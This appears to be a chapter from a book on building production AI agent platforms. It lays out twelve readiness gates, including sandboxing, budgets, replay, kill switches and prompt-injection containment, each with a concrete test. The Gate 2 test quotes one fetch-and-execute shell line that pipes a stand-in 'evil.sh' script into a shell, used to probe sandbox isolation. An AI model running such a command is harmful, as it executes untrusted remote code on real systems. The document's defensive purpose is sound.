The production bar: twelve gates

"Production ready" is the most abused phrase in agent engineering. This chapter replaces it with something testable: twelve gates, each with a concrete check you can run against a system. A demo passes zero to two of them. The platform this book builds passes all twelve, and each gate points to the part of the book that teaches it.

The gates lean on the vocabulary built in the concepts chapter: idempotency keys, dead-letter queues, event logs, microVMs, quotas versus budgets, roles and the confused deputy. If a gate's wording feels compressed, that chapter carries the long-form explanation; here each idea appears as a requirement rather than a lesson.

The demo delta

Here is a typical demo agent, and it genuinely works:

user request --> agent loop --> tools --> answer
                    |
              one API key,
              admin-ish IAM role,
              no budget, no log,
              runs on a laptop

And here is what changed by the time the same capability is a system someone can be on call for:

request --> [authn/authz] --> [admission control] --> queue
                                                        |
                    scheduler (budget ledger, priorities, backpressure)
                                                        |
              agent workers (scoped creds, sandboxed, checkpointed)
                                                        |
             [verification gate] --> [approval gate] --> effects
                                                        |
        traces + token ledger + evals in CI + runbooks + kill switch

Nothing in the second diagram makes the agent smarter. Every box exists because of a specific failure that shows up between "works on my laptop" and "runs unattended at 3 a.m." The twelve gates name those failures.

The gates

Gate 1: Identity

The agent is a principal, not a script with your credentials. Every tool call executes under a role scoped to the task at hand, not to the platform.

The test. Pick any single tool the agent has. Can you state, from IAM alone, the blast radius if the model calls it maliciously? If the answer involves the words "well, the role can also...", the gate fails. Taught in Part 8.

Gate 2: Isolation

Untrusted things (code the agent wrote, content it fetched, files a user uploaded) execute and get parsed inside a boundary designed for hostile input: a microVM or an equivalently strong sandbox, with egress controlled.

The test. Ask: if the agent writes and runs os.system("curl evil.sh | sh"), what happens? "Nothing reachable, nothing persists, and we have the log" passes. Taught in Part 5.

Gate 3: Budgets

Every run, tenant, and fleet has a hard ceiling in tokens and dollars, enforced by the scheduler rather than promised by the prompt.

The test. Set a run budget of X, give the agent a task that wants 10X, and watch what happens. Graceful partial completion under the cap passes; a surprise invoice fails. Taught in parts 6 and 9.

Gate 4: Replayable state

The system's history is an append-only event log, and any run can be re-executed deterministically against recorded model outputs. Debugging is replay plus diff, not archaeology in CloudWatch.

The test. Take yesterday's weirdest run. Can you re-execute it locally, byte for byte, and inject a changed tool result at turn 17? Taught in Part 1.

Gate 5: Failure semantics

Retries, poison work, and partial results are designed, not discovered. Deliveries are at-least-once, effects are exactly-once via idempotency keys, and a task that fails three times parks in a dead-letter queue instead of burning budget forever.

The test. Kill a worker mid-tool-call. Does the effect happen zero times or one time, and can you prove which? Taught in parts 4 and 6.

Gate 6: Resumability

Long runs checkpoint. When an overnight fleet dies at 4 a.m. with 87% done, the morning fix is "resume", re-running only the failed slice.

The test. Kill the fleet halfway. Measure what a restart re-executes. The answer should be "the incomplete work units", not "everything". Taught in Part 6.

Gate 7: Throughput discipline

The fleet shares the model quota deliberately: client-side token buckets, adaptive concurrency, and admission control ahead of the queue. A burst of demand produces a longer queue, not a 429 storm that starves every other consumer of the same account-level quota.

The test. Double the submitted work. Latency should degrade smoothly and other workloads on the account should not notice. Taught in parts 2 and 6.

Gate 8: Evaluation gates

Prompt, tool, and model changes ship through an eval suite the way code ships through tests: golden tasks, calibrated judges, pass thresholds in CI, and a canary slice in production.

The test. Change the system prompt and open a pull request. If nothing automated can fail, the gate fails. Taught in Part 9.

Gate 9: Observability

Every run produces a trace (turns, tool calls, model calls) and a token ledger, and cost is attributable per run, per tenant, per change. "What did this run do and what did it cost" is a query, not an investigation.

The test. For a run picked at random from last week: produce its full trace and its exact cost in under five minutes. Taught in Part 9.

Gate 10: Human control points

Irreversible or outward-facing actions (spend, send, delete, deploy) sit behind approval gates, and the operator has two switches that always work: a kill switch that stops the fleet and a drain switch that stops intake while letting in-flight work finish.

The test. Trigger the kill switch during a 500-agent run. Time to full stop, and the state you are left in, should both be known numbers. Taught in parts 4 and 8.

Gate 11: Capped blast radius

The system assumes prompt injection succeeds sometimes. Defense is structural: untrusted content is separated from instructions, tools are allowlisted per context, exfiltration paths are constrained by egress policy, and the worst achievable outcome is enumerated in the design doc.

The test. Write the sentence "if an attacker fully controls the model's output, the worst they can do is ___" and defend it in review. If the blank is unbounded, the gate fails. Taught in Part 8.

Gate 12: Operability

There is a runbook for the known failure modes, an on-call rotation that has drilled them, and a postmortem culture where "the model behaved unexpectedly" must be backed by a replayable trace, not a shrug.

The test. Page the on-call with a simulated budget blowout. Watch whether the runbook actually resolves it. Taught in Part 9.

Scoring a system

The gates make a useful review checklist beyond this book. Score one point per gate; the honest scores cluster:

Two patterns are worth calling out. First, teams over-invest in gate 8 (evals) while skipping gates 3 and 6 (budgets, resumability), because evals feel like machine learning and budgets feel like plumbing; the 3 a.m. pages come from the plumbing. Second, gates 1, 2, and 11 (identity, isolation, blast radius) are cheap early and brutally expensive to retrofit, which is why the reference architecture in the next chapter places them in the foundation rather than the roadmap.

Don't be confused: safety vs reliability. Gates 5 through 7 are reliability engineering: they assume everyone is honest and the world is merely flaky. Gates 1, 2, 10, and 11 are security and safety: they assume inputs can be hostile and the model can be steered. The disciplines overlap in tooling but not in threat model, and a system can ace one set while failing the other. Score them separately before averaging them in your head.

Where the managed services fit

A fair question at this point: doesn't AgentCore (or any managed agent platform) just pass these gates for me? Partially, and knowing which ones is most of the buy-versus-build decision. Managed runtimes give you strong starts on gates 2 and 9 (session isolation, built-in tracing) and help with gate 1 (identity plumbing). They do very little for gates 3, 5, 6, and 8: budgets, failure semantics, resumability, and evals remain your architecture regardless of who runs the loop. Part 3 makes this concrete component by component, and the capstones state explicitly which gates the platform inherits and which they implement.

👉 Next: the reference architecture, where the twelve gates become six planes and one concrete platform design.